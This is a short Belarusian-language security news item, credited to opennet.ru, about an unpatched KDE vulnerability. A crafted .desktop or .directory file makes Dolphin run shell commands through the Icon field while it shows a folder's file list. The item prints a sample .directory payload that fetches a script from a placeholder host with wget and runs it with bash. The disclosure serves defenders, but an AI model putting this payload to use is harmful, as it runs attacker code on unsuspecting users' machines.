Уразлівасць у KDE, якая дазваляе выканаць код пры праглядзе спісу файлаў

У KDE выяўлена уразлівасць, якая дазваляе атакаваламу выканаць адвольныя каманды пры праглядзе карыстачом каталога ці архіва, утрымоўвальнага адмыслова аформленыя файлы «.desktop» і «.directory». Для нападу дастаткова, каб карыстач проста прагледзеў спіс файлаў у файлавым мэнэджары Dolphin, загрузіў шкоднасны desktop-файл або перацягнуў мышшу ярлык на працоўны стол ці ў дакумент. Праблема праяўляецца ў актуальным выпуску бібліятэк KDE Frameworks 5.60.0 і больш старых версіях, аж да KDE 4. Уразлівасць пакуль застаецца нявыпраўленай (CVE не прысвоены).

Праблема выклікана некарэктнай рэалізацыяй класа KDesktopFile, які пры апрацоўцы зменнай "Icon" без належнага экранавання перадае значэнне ў функцыю KConfigPrivate::expandString(), якая выконвае расчыненне спецзнакаў shell, у тым ліку апрацоўваючы радкі "$(..)" як дзейнікі выкананню каманды . Насуперак патрабаванням спецыфікацыі XDG выкананне раскрыцця shell-канструкцый вырабляецца без падзелу тыпу налад, г.зн. не толькі пры вызначэнні каманднага радка запускаемага прыкладання, але і пры ўказанні якія адлюстроўваюцца па змаўчанні піктаграм.

Напрыклад, для нападу дастаткова адправіць карыстачу zip-архіў з каталогам, утрымоўвальным файл «.directory» выгляду:

[Desktop Entry] Type=Directory
Icon[$e]=$(wget${IFS}https://example.com/FILENAME.sh&&/bin/bash${IFS}FILENAME.sh)

Пры спробе прагляду змесціва архіва ў файлавым мэнэджары Dolphin будзе загружаны і выкананы скрыпт https://example.com/FILENAME.sh.


Крыніца: opennet.ru

Дадаць каментар